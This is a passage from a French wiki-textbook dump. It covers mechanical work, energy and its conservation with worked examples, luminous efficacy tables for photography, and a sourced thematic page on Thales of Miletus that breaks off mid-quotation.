2 kg sur 10 cm. Attention, il ne faut pas voir là déjà une conservation. Bien entendu, il y a derrière cette expérience la conservation de l'énergie. Mais le concept de travail utilisé ici, s'il est intimement lié à celui d'énergie potentielle, comme nous le verrons par la suite, reste lié à un déplacement et non à un équilibre, à une situation spatiale des corps utilisés. C'est pourquoi il traduit la naissance de la notion de travail. Cependant cette liaison avec la conservation de l'énergie est assez typique pour que cet exemple ait sa place ici, même si il peut porter à confusion. ==Définition== ===Travail simple=== La définition la plus simple que l'on puisse envisager est donc : <center><math>A_{F,d}=F\cdot d</math></center> Cette définition correspond au travail A d'une force F s'exerçant sur une masse m que l'on déplace sur une distance d (voir figure 4.3). [[Image:TravailSimple.png|center|frame|Figure 4.3 - Travail simple]] Remarquons qu'il s'agit toujours du travail d'une force sur une distance donnée. Parler du travail sans aucune autre précision n'a pas de sens. ===Travail et produit scalaire=== Une force qui ne s'exercerait pas parallèlement (et dans le même sens) que le déplacement, ne pourrait pas produire un travail simple. On peut comprendre intuitivement qu'une force s'exerçant perpendiculairement au déplacement ne travaille pas. On peut donc définir le travail d'une manière plus générale : <center><math>A_{F,d}=\overrightarrow{F\cdot}\overrightarrow{d}=\left\Vert \overrightarrow{F}\right\Vert \cdot\left\Vert \overrightarrow{d}\right\Vert \cos(\alpha)=F\cdot d\cdot\cos(\alpha)</math></center> Cette définition correspond à la situation de la figure 4.4. [[Image:TravailProduitScalaire.png|center|frame|Figure 4.4 - Travail et produit scalaire]] Attention, cette définition est valable pour un déplacement rectiligne et une force constante vectoriellement sur tout le déplacement. (constante vectoriellement signifie constante en grandeur et en direction et sens) Remarquons les cas particuliers de cette définition : * Si <math>\overrightarrow{F}</math> et <math>\overrightarrow{d}</math> sont parallèles et de même sens (<math>\overrightarrow{F}\left\uparrow \right\uparrow \overrightarrow{d}</math>), alors le travail est positif; on parle de '''travail moteur'''. * Si <math>\overrightarrow{F}</math> et <math>\overrightarrow{d}</math> sont perpendiculaires (<math>\overrightarrow{F}\bot\overrightarrow{d}</math>), alors <math>\cos(\alpha)=0</math> et le travaille est nul. On dit que la force ne travaille pas. * Si <math>\overrightarrow{F}</math> et <math>\overrightarrow{d}</math> sont parallèles, mais de sens opposés (<math>\overrightarrow{F}\left\uparrow \right\downarrow \overrightarrow{d}</math>), alors le travail est négatif; on parle de '''travail résistant'''. ===Travail : cas général=== Dans ce cas, le déplacement n'est pas forcément rectiligne et la force pas forcément constante vectoriellement. La situation générale correspond donc à la figure 4.5 : {| align=right style="margin: 1em 1em 1em 1em" |[[Image:TravailGeneral.png|150px|center|frame|Figure 4.5 - Travail général]] |- align=center |} Ainsi, pour déterminer le travail total effectué par la force sur le chemin A-B, il faut décomposer ce dernier en petits bouts de déplacement rectilignes <math>\overrightarrow{\Delta l}</math>, sur lesquels la force peut être considérée comme vectoriellement constante (c'est-à-dire qu'elle ne change ni en direction, ni en sens, ni en grandeurs).On est ainsi ramené au calcul d'un petit élément de travail <math>A_{i}</math>, pour une force <math>\overrightarrow{F_{i}}</math> constante, sur un déplacement <math>\overrightarrow{\Delta l_{i}}</math> : <center><math>A_{i}=\overrightarrow{F_{i}}\cdot\overrightarrow{\Delta l_{i}}</math></center> Puis, on somme tous les <math>A_{i}</math> pour obtenir le travail total de A à B : <center><math>A_{AB}\cong\sum_{i=1}^{n}A_{i}=\sum_{i=1}^{n}\overrightarrow{F}\cdot\overrightarrow{\Delta l_{i}}</math></center> Bien entendu, plus les segments <math>\overrightarrow{\Delta l_{i}}</math> sont petits, plus on "colle" au parcours. A la limite, si les <math>\overrightarrow{\Delta l_{i}}</math> devenaient infiniment petits, on obtiendrait la valeur exacte du travail sur le trajet AB. On peut donc écrire : <center><math>A_{AB}= lim \, \overrightarrow{\Delta l_{i}}\rightarrow 0\sum_{i}^{\infty}\overrightarrow{F}\cdot\overrightarrow{\Delta l_{i}}=\int_{A}^{B}\overrightarrow{F}\cdot\overrightarrow{dl}</math></center> La définition tout-à-fait générale du travail est donc finalement : <center><math>A=\int_{A}^{B}\overrightarrow{F}\cdot\overrightarrow{dl}</math></center> Finalement, il faut indiquer les unités SI du travail. On a : <center><math>\left[A\right]=\left[F\right]\cdot\left[l\right]=N\cdot m=J=Joules</math></center> ===Exemples=== * Quel est le travail simple effectué par une force F = 5 N, sur une distance d = 5 m ? :Solution : :<center><math>A = F \cdot d = 5 \cdot 5 = 25 J</math></center> * Quel est le travail effectué par une force F = 5 N, s'exerçant avec un angle de 20° par rapport au déplacement, sur une distance de 5 m ? :Solution : :<center><math>A = F \cdot d \cdot cos(\alpha) = 5 \cdot 5 \cdot cos(20) = 23,5 J</math></center> * Quel est le travail effectué par une force de frottement F = 5 N, sur une distance d = 5 m ? :Solution : :<center><math>A = F \cdot d \cdot cos(\alpha) = 5 \cdot 5 \cdot cos(180) = - 25 J</math></center> car la force de frottement s'exerce toujours dans le sens contraire du déplacement. * Quel est le travail effectué par une force <math>F = l</math>, colinéaire (parallèle) au déplacement rectiligne et de même sens, sur une distance de 5 m. :Solution : :<center><math>A =\int_{0}^{5}\overrightarrow{F\cdot}\overrightarrow{dl} =\int_{0}^{5}F\cdot dl \,\, car \overrightarrow{F}\left\uparrow \right\uparrow \overrightarrow{dl}</math></center> :<center><math>=\int_{0}^{5}l\cdot dl =\left.\frac{1}{2}\cdot l^{2}\right|_{0}^{5}=\frac{1}{2}\cdot(25-0)=12,5\, J</math></center> =Énergie= ==Introduction== L'idée d'énergie est intimement liés à celle de travail. En effet, lorsqu'on fournit un travail, quelque chose est produit. De la chaleur par exemple lorsque qu'on s'intéresse au travail de la force de frottement d'une table sur laquelle on déplace un objet. Cependant, on peut se demander ce qui est produit lorsqu'on fournit un travail pour monter une masse ou pour augmenter sa vitesse. En réalité, dans les deux cas on produit de l'énergie, potentielle et cinétique respectivement. ==Énergie potentielle== Quand on travaille pour monter une charge, on produit de l'énergie potentielle. Cette énergie peut être retrouvée si on lâche alors la masse. Arrivé en bas, cette dernière est capable de produire une déformation traduisant un travail. Tout se passe donc comme si l'énergie potentielle était quelque chose de stocké dans la masse alors qu'elle se trouve à une hauteur déterminée. Bien entendu, plus la hauteur est grande, plus l'énergie potentielle est importante (une pierre de 10 g lâchée de 10 m fera plus de dégâts arrivée au sol que la même pierre lâchée de 1 m). De même pour la masse. Pour déterminer la valeur de l'énergie potentielle contenue dans une masse m placée à une hauteur h, il faut donc calculer le travail que cette masse produit en chutant depuis cette hauteur. Plus précisément, il faut calculer le travail du poids de la masse m se déplaçant sur la hauteur h. On doit donc écrire : <center><math>A = \overrightarrow{F}\cdot\overrightarrow{d}=m\overrightarrow{g}\cdot\overrightarrow{h}=mg\cdot h</math></center> <center><math>= mg\cdot(h_{i}-h_{f})=mgh_{i}-mgh_{f}</math></center> <center><math>= E_{pot\, i}-E_{pot\, f}=-\Delta E_{pot}</math></center> où le déplacement h est décomposé en une différence de hauteur <math>h_{i}-h_{f}</math>. On remarque que ce travail se compose de deux parties. Chacune d'elle ne dépend que du lieu où elle est évaluée et de la masse de l'objet. On peut donc appeler chacun de ces termes "énergie potentielle" à la hauteur considérée. Ainsi, le travail se traduit par une différence d'énergie potentielle. Et sa définition prend la forme suivante : <center><math>E_{pot}=m\cdot g\cdot h</math></center> ==Énergie cinétique== Quand on travaille pour augmenter la vitesse d'un corps, on produit de l'énergie cinétique. Pour déterminer la valeur de celle-ci lorsque le corps de masse m passe d'une vitesse <math>v_{o}</math> à une vitesse v, il faut donc calculer le travail pour réaliser cette transformation. On a : <center><math>A = \overrightarrow{F}\cdot\overrightarrow{d}=F\cdot d=ma\cdot d</math></center> <center><math>= m\cdot\frac{v^{2}-v_{o}^{2}}{2\cdot d}\cdot d=\frac{1}{2}\cdot m\cdot v^{2}-\frac{1}{2}\cdot m\cdot v_{o}^{2}</math></center> <center><math> = E_{cin}-E_{cin\, o}=\Delta E_{cin}</math></center> On remarque que ce travail se compose de deux parties. Chacune d'elle ne dépend que de la vitesse à l'instant considéré et de la masse de l'objet. On peut donc appeler chacun de ces termes "énergie cinétique" pour la vitesse considérée. Ainsi, le travail se traduit par une différence d'énergie cinétique. Et sa définition prend la forme suivante : <center><math>E_{cin}=\frac{1}{2}\cdot m\cdot v^{2}</math></center> ==Énergie mécanique== Définissons encore la somme des énergie cinétique et potentielle comme l'énergie mécanique d'une masse m : <center><math>E_{m\acute ec}=E_{cin}+E_{pot}=\frac{1}{2}\cdot m\cdot v^{2}+m\cdot g\cdot h</math></center> Celle-ci nous sera utile par la suite. ==Exemple== Déterminez l'énergie mécanique d'une masse de 3 kg qui se trouve à un instant donné à une hauteur de 4 m et se déplace alors à une vitesse de 5 m/s. :Solution : :<center><math>E_{m\acute ec}=\frac{1}{2}\cdot3\cdot5^{2}+3\cdot9,81\cdot4=155,22\, J</math></center> Bien entendu, on remarque que l'unité de l'énergie est la même que celle du travail, puisque le travail est une différence d'énergie. On a donc : <center><math>\left[E_{m\acute ec}\right]=\left[E_{cin}\right]=\left[E_{pot}\right]=J</math></center> =Conservation de l'énergie= ==Introduction== La notion de conservation est fondamentale en physique. La première grandeur qui pourrait être conservée à laquelle on pense est la masse. Malheureusement, on sait aujourd'hui qu'elle ne l'est pas. Par contre, l'énergie l'est. Nous allons voir dans ce chapitre ce que cela signifie en étudiant le cas de la conservation de l'énergie mécanique. Nous verrons que selon les cas, celle-ci peut aussi ne pas être conservée. ==Théorème de conservation de l'énergie mécanique== L'idée est née de la situation suivante : une masse tombe d'une certaine hauteur ; lorsqu'on la lâche celle-ci ne possède que de l'énergie potentielle ; en descendant, cette énergie diminue et en même temps, comme la vitesse augmente, son énergie cinétique augmente ; arrivée en bas, la masse n'a plus que de l'énergie cinétique. Tout s'est donc passé comme si l'énergie potentielle s'était transformée en énergie cinétique. Ainsi, on peut dire que l'énergie mécanique, somme d'énergie potentielle et cinétique, est en fait restée constante tout au long de la chute. Techniquement, on exprime cela de la manière suivante : <center><math>E_{mec}=const.</math></center> Ce qui signifie aussi : <center><math>E_{mec\,2}=E_{mec\,1}</math></center> <center><math>E_{mec\,2}-E_{mec\,1} = 0</math></center> <center><math>\Delta E_{mec} = 0</math></center> <center><math> ou</math></center> <center><math>E_{cin\,2}+E_{pot\,2}-(E_{cin\,1}+E_{pot\,1}) = 0</math></center> <center><math>E_{cin\,2}-E_{cin\,1}+E_{pot\,2}-E_{pot\,1} = 0</math></center> <center><math>\Delta E_{cin}+\Delta E_{pot} = 0</math></center> <center><math>\frac{1}{2}\cdot m\cdot v_{2}^{2}-\frac{1}{2}\cdot m\cdot v_{1}^{2}+m\cdot g\cdot h_{2}-m\cdot g\cdot h_{1} = 0</math></center> Toutes ces expressions sont équivalentes. Il est important de bien comprendre que celles-ci signifient que l'énergie mécanique reste la même au cours du temps. Il est aussi important de dire que que cette loi n'est valable qu'en l'absence de frottements. Nous reviendrons par la suite sur cette remarque. ==Exemples== * Un homme saute du plongeoir des 10 m. A quelle vitesse arrive-t-il dans l'eau ? :Solution :<br> :En l'absence de frottements, l'énergie mécanique est conservé. Avant de commencer, il est nécessaire de fixer le zéro de l'altitude : on le choisi au niveau de l'eau. Ainsi, on peut évaluer l'énergie mécanique à 10 m et celle au niveau de l'eau. On a : :<center><math>E_{mec\,10m} = E_{cin\,10m}+E_{pot\,10m}</math></center> :<center><math>= \frac{1}{2}\cdot m\cdot0^{2}+m\cdot g\cdot10</math></center> :<center><math>= 100\cdot m\;(g\cong10\, m/s^{2})</math></center> :<center><math>E_{mec\, eau} = E_{cin\, eau}+E_{pot\, eau}</math></center> :<center><math>= \frac{1}{2}\cdot m\cdot v^{2}+m\cdot g\cdot0</math></center> :<center><math>= \frac{1}{2}\cdot m\cdot v^{2}</math></center> :Ainsi, le théorème implique : :<center><math>E_{mec\, eau}-E_{mec\,10m} = 0</math></center> :<center><math>\frac{1}{2}\cdot m\cdot v^{2}-100\cdot m = 0</math></center> :<center><math>v = \sqrt{200}</math></center> :<center><math>= 14\, m/s</math></center> :Pour une hauteur h quelconque, le même calcul mène à : :<center><math>v=\sqrt{2\cdot g\cdot h}</math></center> :Remarque : :Bien évidemment, on retrouve cette même expression en utilisant la cinématique. En effet, pour un MRUA, on a (voir annexe x): :<center><math>v^{2}=v_{o}^{2}+2\cdot a\cdot d</math></center> :Pour un objet lâché en chute libre, on a : <math>a=g</math>, <math>d=h</math> et <math>v_{o}=0\, m/s^{2}</math>. :Ainsi, on peut écrire : :<center><math>v^{2}=0+2\cdot g\cdot h</math></center> :Ce qui mène à la relation trouvée précédemment. * Quelle est la hauteur atteinte par un objet qu'on lance verticalement avec une vitesse de 3 m/s ? :Solution :<br> :On place le zéro de l'axe au niveau du point de décollage et on l'oriente vers le haut. On peut ainsi déterminer l'énergie mécanique en ce point par : :<center><math>E_{mec\, bas}=\frac{1}{2}\cdot m\cdot v^{2}</math></center> :Car l'énergie potentielle pour h = 0 est nulle. :D'autre part, au niveau le plus haut atteint par l'objet, sa vitesse étant nulle, l'énergie mécanique vaut : :<center><math>E_{mec\, haut}=m\cdot g\cdot h</math></center> :La conservation de l'énergie implique alors : :<center><math>\frac{1}{2}\cdot m\cdot v^{2} = m\cdot g\cdot h\Rightarrow</math></center> :<center><math>h = \frac{v^{2}}{2\cdot g}\Rightarrow</math></center> :<center><math>h = \frac{3^{2}}{2\cdot10}=0,45\, m</math></center> ==Limite du théorème de conservation de l'énergie mécanique== L'idée de conservation de l'énergie implique l'idée de récupérer l'énergie qu'on a donné. Ainsi, quand on augmente l'énergie potentielle d'une masse en la montant, on peut récupérer cette énergie en la laissant redescendre. La possibilité de récupérer l'énergie dépensée est en réalité une propriété de certaines forces dites conservatives. Ce n'est que pour ce type de forces que l'on peut définir la notion d'énergie potentielle. C'est le cas pour le poids, qui est une force conservative, pour laquelle on peut définir une énergie potentielle par <math>E_{pot}=m\cdot g\cdot h</math>. Or, toutes les forces ne sont pas conservatives. Pour celles qui ne le sont pas, on ne peut définir d'énergie potentielle. C'est le cas pour la force de frottement par exemple, pour laquelle on ne peut définir d'énergie potentielle. Ainsi, le théorème de conservation de l'énergie mécanique n'est valable qu'en présence de forces conservatives. Car, dans ce cas, toutes ces forces peuvent être représentées par une énergie potentielle et on peut écrire : <center><math>\Delta E_{mec}=0</math></center> En réalité, en présence de forces non conservatives, on modifie le théorème de la manière suivante : <center><math>\Delta E_{mec}=A_{forces\, non\, conservatives}</math></center> Les conditions qui permettent de déterminer si une force est conservative sont données en annexe x. Photographie - 05 - Efficacité lumineuse 5313 44352 2006-06-11T22:15:43Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} Le flux lumineux, l'éclairement,... sont des grandeurs '''visuelles''' qui ne peuvent rendre compte parfaitement de l'ensemble du rayonnement d'une source, non seulement parce que ce dernier comporte presque toujours une part très importante de radiations invisibles, mais encore parce que toutes les couleurs ne sont pas perçues avec la même intensité. Il faut donc définir de nouvelles grandeurs '''énergétiques''' correspondant aux autres grandeurs lumineuses. Le flux énergétique se mesurera en W, l'éclairement énergétique en W/m<sup>2</sup>, etc. == Définitions == Si l'on appelle <math>\Phi_\lambda \,</math> le flux énergétique d'un rayonnement monochromatique et <math>F_\lambda \,</math> le flux visuel correspondant, ces deux grandeurs sont liées par une relation de la forme : <center><math>F_\lambda = K_\lambda \cdot \Phi_\lambda \,</math></center> Le coefficient <math>K_\lambda \,</math> est appelé '''facteur de visibilité spectral''', il est nul pour les radiations invisibles et atteint sa valeur maximale pour <math>\lambda \approx 0,555 \mu m \,</math>, c'est-à-dire dans le jaune-vert qui est perçu comme la plus vive des couleurs saturées. {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>K_{0,555}\, = \, 680 \;lm/W \, = \, \frac{1}{L}</math> |- |} L est appelé « équivalent mécanique du lumen vert-jaune », on a ici une définition équivalente à celle de l'équivalent mécanique de la calorie, bien connu des physiciens. L vaut 0,00146 W/lm. Le facteur de visibilité spectral peut se mettre sous la forme : <math>K_\lambda = K_{0,555} \cdot V_\lambda = \frac{V_{\lambda}}{L}</math> <math>V_\lambda \,</math> est un coefficient variable de 0 à 1, appelé '''coefficient d'efficacité lumineuse spectrale''' de la radiation de longueur d'onde <math>\lambda \,</math> ou plus simplement '''efficacité lumineuse spectrale'''. {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>F_\lambda = \frac{V_\lambda}{L} \Phi_\lambda</math> |- |} [[Image:Efficacités lumineuses.png|240px|right]] Le graphe représentant la variation de l'efficacité en fonction de la longueur d'onde est appelé courbe de visibilité relative de l'œil. Indépendamment du fait que certaines personnes, désignées plus ou moins abusivement sous le terme générique de «daltoniens», ne perçoivent pas certaines couleurs, les nombreuses mesures de Gibson et Tyndall ont montré que 8% des hommes (contre seulement 0,5% des femmes) ont une vision des couleurs qui s'écarte sensiblement de la moyenne. C'est pourquoi la Commission Internationale de l'Eclairage a été conduite à définir un "observateur moyen" et à imposer les valeurs de l'éfficacité lumineuse spectrale dans une norme. Le maximum de la fonction est situé vers 0,555 &mu;m en '''éclairage photopique''' (diurne), mais se décale dans le bleu-vert aux environs de 0,5 &mu;m en '''éclairage scotopique''' (nocturne). L''''éclairement crépusculaire''' correspond à des valeurs intermédiaires entre ces deux extrêmes. Ce phénomène a été étudié par Purkinje. A la tombée de la nuit, les rouges et orangés sont très mal perçus et la lumière, bien qu'elle en contienne encore une grande proportion, paraît bleutée. Les photographies en couleurs prises à ce moment-là peuvent avoir une dominante inacceptable. == Valeurs normalisées == <center>'''Efficacité lumineuse relative. Vision photopique (norme de 1924)'''</center> {| align=center border=1 cellpadding=4 cellspacing=0 |----- align=center | <math>\lambda</math><br />([[nanomètre|nm]]) || width=96 | <math>v(\lambda)</math> | <math>\lambda</math><br />(nm) || width=96 | <math>v(\lambda)</math> | <math>\lambda</math><br />(nm) || width=96 | <math>v(\lambda)</math> | <math>\lambda</math><br />(nm) || width=96 | <math>v(\lambda)</math> | <math>\lambda</math><br />(nm) || width=96 | <math>v(\lambda)</math> |----- | rowspan=8 | &nbsp; || rowspan=8 | &nbsp; | bgcolor=#8600b1 |<font color=white>400</font> ||<small>0,000 4</small> | bgcolor=#00f88f |500 ||<small>0,323</small> | bgcolor=#fdc101 |600 ||<small>0,631</small> | bgcolor=#ff0409 |700 ||<small>0,004 1</small> |----- | bgcolor=#7e00db |<font color=white>410</font> ||<small>0,001 2</small> | bgcolor=#07fc00 |510 ||<small>0,503</small> | bgcolor=#fc9e00 |610 ||<small>0,503</small> | bgcolor=#ed0002 |710 ||<small>0,002 1</small> |----- | bgcolor=#6d05f8 |<font color=white>420</font> ||<small>0,004 0</small> | bgcolor=#29ff02 |520 ||<small>0,710</small> | bgcolor=#fd7900 |620 ||<small>0,381</small> | bgcolor=#df0100 |720 ||<small>0,001 05</small> |----- | bgcolor=#3500fe |<font color=white>430</font> ||<small>0,011 6</small> | bgcolor=#5eff00 |530 ||<small>0,862</small> | bgcolor=#ff4c00 |630 ||<small>0,265</small> | bgcolor=#ce0002 |730 ||<small>0,000 52</small> |----- | bgcolor=#0c02f9 |<font color=white>440</font> ||<small>0,023</small> | bgcolor=#80ff00 |540 ||<small>0,954</small> | bgcolor=#ff1a02 |640 ||<small>0,175</small> | bgcolor=#c60000 |740 ||<small>0,000 25</small> |----- | bgcolor=#0237ff |<font color=white>450</font> ||<small>0,038</small> | bgcolor=#a5ff03 |550 ||<small>0,995</small> | bgcolor=#fe0003 |650 ||<small>0,107</small> | bgcolor=#c00000 |750 ||<small>0,000 12</small> |----- | bgcolor=#006cfb |<font color=white>460</font> ||<small>0,060</small> | bgcolor=#c3ff00 |560 ||<small>0,995</small> | bgcolor=#fe0002 |660 ||<small>0,061</small> | bgcolor=#b00000 |760 ||<small>0,000 06</small> |----- | bgcolor=#02a3fe |470 ||<small>0,091</small> | bgcolor=#defd02 |570 ||<small>0,952</small> | bgcolor=#fe0002 |670 ||<small>0,032</small> | bgcolor=#a00000 |770 ||<small>0,000 03</small> |----- | bgcolor=#6a0168 |<font color=white>380</font> ||<small>0,000 0</small> | bgcolor=#04d2ff |480 ||<small>0,139</small> | bgcolor=#f8fe00 |580 ||<small>0,870</small> | bgcolor=#fe0002 |680 ||<small>0,017</small> | bgcolor=#900000 |780 ||<small>0,000 015</small> |----- | bgcolor=#790197 |<font color=white>390</font> ||<small>0,000 1</small> | bgcolor=#01f8ff |490 ||<small>0,208</small> | bgcolor=#ffe405 |590 ||<small>0,757</small> | bgcolor=#fb0003 |690 ||<small>0,008 2</small> | &nbsp; || &nbsp; |} <center>'''Efficacité lumineuse relative. Vision scotopique (norme de 1951)'''</center> {| align=center border=1 cellpadding=4 cellspacing=0 |----- align=center | <math>\lambda</math><br />([[nanomètre|nm]]) || width=96 | <math>v(\lambda)</math> | <math>\lambda</math><br />(nm) || width=96 | <math>v'(\lambda)</math> | <math>\lambda</math><br />(nm) || width=96 | <math>v'(\lambda)</math> | <math>\lambda</math><br />(nm) || width=96 | <math>v'(\lambda)</math> | <math>\lambda</math><br />(nm) || width=96 | <math>v'(\lambda)</math> |----- | rowspan=8 | &nbsp; || rowspan=8 | &nbsp; | bgcolor=#8600b1 |<font color=white>400</font> ||<small>0,009 29</small> | bgcolor=#00f88f |500 ||<small>0,982</small> | bgcolor=#fdc101 |600 ||<small>0,033 15</small> | bgcolor=#400000 |<font color=white>700</font> ||<small>0,000 017 80</small> |----- | bgcolor=#7e00db |<font color=white>410</font> ||<small>0,034 84</small> | bgcolor=#07fc00 |510 ||<small>0,997</small> | bgcolor=#fc9e00 |610 ||<small>0,015 93</small> | bgcolor=#300000 |<font color=white>710</font> ||<small>0,000 009 14</small> |----- | bgcolor=#6d05f8 |<font color=white>420</font> ||<small>0,096 6</small> | bgcolor=#29ff02 |520 ||<small>0,935</small> | bgcolor=#fd7900 |620 ||<small>0,007 37</small> | bgcolor=#200000 |<font color=white>720</font> ||<small>0,000 004 78</small> |----- | bgcolor=#3500fe |<font color=white>430</font> ||<small>0,199 8</small> | bgcolor=#5eff00 |530 ||<small>0,811</small> | bgcolor=#ff4c00 |630 ||<small>0,003 335</small> | bgcolor=#160000 |<font color=white>730</font> ||<small>0,000 002 546</small> |----- | bgcolor=#0c02f9 |<font color=white>440</font> ||<small>0,328 1</small> | bgcolor=#80ff00 |540 ||<small>0,650</small> | bgcolor=#c00d01 |640 ||<small>0,001 497</small> | bgcolor=#120000 |<font color=white>740</font> ||<small>0,000 001 379</small> |----- | bgcolor=#0237ff |<font color=white>450</font> ||<small>0,455</small> | bgcolor=#a5ff03 |550 ||<small>0,481</small> | bgcolor=#900000 |<font color=white>650</font> ||<small>0,000 677</small> | bgcolor=#0d0000 |<font color=white>750</font> ||<small>0,000 000 760</small> |----- | bgcolor=#006cfb |<font color=white>460</font> ||<small>0,567</small> | bgcolor=#c3ff00 |560 ||<small>0,328 8</small> | bgcolor=#800000 |<font color=white>660</font> ||<small>0,000 312 9</small> | bgcolor=#0a0000 |<font color=white>760</font> ||<small>0,000 000 425</small> |----- | bgcolor=#02a3fe |470 ||<small>0,676</small> | bgcolor=#defd02 |570 ||<small>0,207 6</small> | bgcolor=#700000 |<font color=white>670</font> ||<small>0,000 148 0</small> | bgcolor=#060000 |<font color=white>770</font> ||<small>0,000 000 241</small> |----- | bgcolor=#400021 |<font color=white>380</font> ||<small>0,000 589</small> | bgcolor=#04d2ff |480 ||<small>0,793</small> | bgcolor=#f8fe00 |580 ||<small>0,121 2</small> | bgcolor=#600000 |<font color=white>680</font> ||<small>0,000 071 5</small> | bgcolor=#020000 |<font color=white>780</font> ||<small>0,000 000 139</small> |----- | bgcolor=#790197 |<font color=white>390</font> ||<small>0,002 209</small> | bgcolor=#01f8ff |490 ||<small>0,904</small> | bgcolor=#ffe405 |590 ||<small>0,065 5</small> | bgcolor=#500000 |<font color=white>690</font> ||<small>0,000 035 33</small> | &nbsp; || &nbsp; |} == Graphes == [[Image:Efficacités lumineuses milli.png|460px|thumb|center|Efficacités lumineuses, échelle linéaire]] [[Image:Efficacités lumineuses log.png|400px|thumb|center|Efficacités lumineuses, échelle logarithmique]] Photographie - Chapitre 08 - Systèmes centrés, objectifs 5314 44438 2006-06-12T14:27:01Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_08}} Thalès de Milet/Classement thématique 5316 21815 2005-09-21T19:19:04Z Marc 66 /* Le principe */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Présocratiques]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximandre de Milet]]''' |} {{navigation|[[Thalès de Milet]]|[[Thalès de Milet/Liste des sources|Les sources]]|[[Thalès de Milet/Textes et traductions|Textes]]|[[Thalès de Milet/Theodor Gomperz|Études]]|[[Thalès de Milet/Thalès dans la littérature|Littérature]]|[[Thalès de Milet/Classement thématique|Classement thématique]]}} {{EnTravaux}} == Vie de Thalès == === Ses origines === *Famille des Thélides, phéniciens descendants de Cadmos et d'Agénor *Son père : Examyas *Sa mère : Cléobuline ::Sources : :::[[Thalès de Milet/Textes et traductions#I, 170|Hérodote, ''Enquête'', I, 170]] ::::« [...] Thalès de Milet, dont les ancêtres étaient originaires de Phénicie [...] » :::[[Thalès de Milet/Textes et traductions#Diogène Laërce|Diogène Laërce, I, 22]] ::::« Thalès, au dire d’Hérodote, de Douris et de Démocrite, était fils d’Examios et de Cléobuline, et membre de la famille des Thélides, Phéniciens descendant en droite ligne d’Agénor et de Cadmus. » ::Commentaire : [[Thalès de Milet/L'École milésienne#II. Son origine|L'École milésienne]] Il devient citoyen de Milet. Il vécut jusqu'à la cinquantième olympiade (580 - 577). === Ses voyages === Thalès voyagea en Egypte, et y apprit la philosophie. :Source : Aétius, ''Opinions'', I, III, I == Ses écrits == === Thalès a-t-il écrit ? === Plusieurs opinions : *Thalès n'a rien écrit :Source : ::Diogène Laërce, I, 23 : :::« On croit qu’il ne laissa aucun écrit, car l’''Astrologie nautique'' qu’on lui attribue est de Phocos de Samos. » *Il a écrit : :Sources : ::Vitruve, ''De l'architecture'', livre IX, 6 : :::« 3. Mais si l'on veut connaître le principe des choses, il faut lire les savants ouvrages des Thalès de Milet, des Anaxagore de Clazomène, des Pythagore de Samos, des Xénophane de Colophon, des Démocrite d'Abdère, qui nous font connaître les lois qui gouvernent la nature, et les effets qu'elles produisent. » ::Diogène Laërce, I, 23 : :::« D’autres auteurs disent qu’il écrivit seulement deux ouvrages, un ''sur le solstice'' et un ''sur l’équinoxe'', car il pensait le reste inaccessible. » *Mais, s'il a écrit : :'''1.''' il a écrit une ''Astronomie nautique'' ::Source: :::Plutarque, ''Pourquoi la prophétesse Pythie ne rend plus les oracles en vers'', 18, 402, E ::::« [...] s'il est véritable que Thalès ait écrit l' ''Astronomie'' qu'on lui attribue. » :::Simplicius, ''Commentaire sur la Physique d'Aristote'', 23, 29 ::::« On dit qu'il n'a laissé aucun ouvrage en dehors de celui intitulé ''Astronomie nautique'' » ::Cette attribution fut contestée par Diogène Laërce, I, 23 (cf. plus haut) :'''2.''' il a écrit deux livres : ''Du Solstice'' et ''De l'équinoxe'' :'''3.''' il a écrit un livre ''Sur les principes'' ::Source : Galien, ''Sur les humeurs d'Hippocrate'', I, I === Forme et étendue de ses œuvres === Selon Lobon d'Argos, Thalès écrivit en tout deux cent vers. :Source : Diogène Laërce, I, 34 ::« L’Argien Lobon dit que ses écrits font un total de quelque deux cents vers. » Thalès a écrit son ''Astronomie'' en vers. :Source : ''Pourquoi la prophétesse Pythie ne rend plus les oracles en vers'', 18, 402, E == Sagesse et connaissance == Il fut le premier à porter le nom de sage (''sophos'', savant, sage). Il est l'auteur du ''Connais-toi toi-même'' (Diogène Laërce, I, 40). Il incarne une manière de vivre propre à ceux qui vouent leur vie à la connaissance : :Source : Platon, [[Thalès de Milet/Textes et traductions#Théétète, 174 a|Théétète, 174 a]] ::« L’exemple de Thalès te le fera comprendre, Théodore. Il observait les astres et, comme il avait les yeux au ciel, il tomba dans un puits. Une servante de Thrace, fine et spirituelle, le railla, dit-on, en disant qu’il s’évertuait à savoir ce qui se passait dans le ciel, et qu’il ne prenait pas garde à ce qui était devant lui et à ses pieds. La même plaisanterie s’applique à tous ceux qui passent leur vie à philosopher. Il est certain, en effet, qu’un tel homme ne connaît ni proche, ni voisin ; il ne sait pas ce qu’ils font, sait à peine si ce sont des hommes ou des créatures d’une autre espèce ; mais qu’est-ce que peut être l’homme et qu’est-ce qu’une telle nature doit faire ou supporter qui la distingue des autres êtres, voilà ce qu’il cherche et prend peine à découvrir. » == La politique == Comme un certains nombre de philosophes de l'Antiquité, Thalès a joué un rôle important dans les affaires politiques de sa cité. :Source : Elien, ''Histoires diverses'' ::« On a vu des philosophes à la tête des affaires publiques : d'autres, se bornant à cultiver leur raison, ont passé leur vie dans le repos. Entre les premiers sont Zaleucus et Charondas qui réformèrent, l'un, le gouvernement des Locriens, l'autre, d'abord celui des Catanéens, puis, après qu'il eut été exilé de Catane, celui des Rhéginiens. Archytas servit utilement les Tarentins. Les Athéniens durent tout à Solon. Bias et Thalès rendirent les mêmes services à l'Ionie, Chilon à Lacédémone, Pittacus à Mitylène, Cléobule à Rhodes. » :Commentaire : Ce passage suggère que Thalès fut legislateur. Il conseilla aux Ioniens d'établir un conseil pour l'ensemble de leur cité, conseil dont le siège serait à Téos (Hérodote, I, 170). == Physique et théologie== Il se serait occupé de l'étude de la nature, après s'être intéressé de politique. === Le principe === Il y a un principe de toute chose qui est l'eau :Source : Aristote, [[Thalès de Milet/Textes et traductions#Métaphysique, A, III, 983 b 6|Métaphysique, A, III, 983]]. ::« Thalès, le fondateur de cette manière de philosopher, prend l'eau pour principe, et voilà 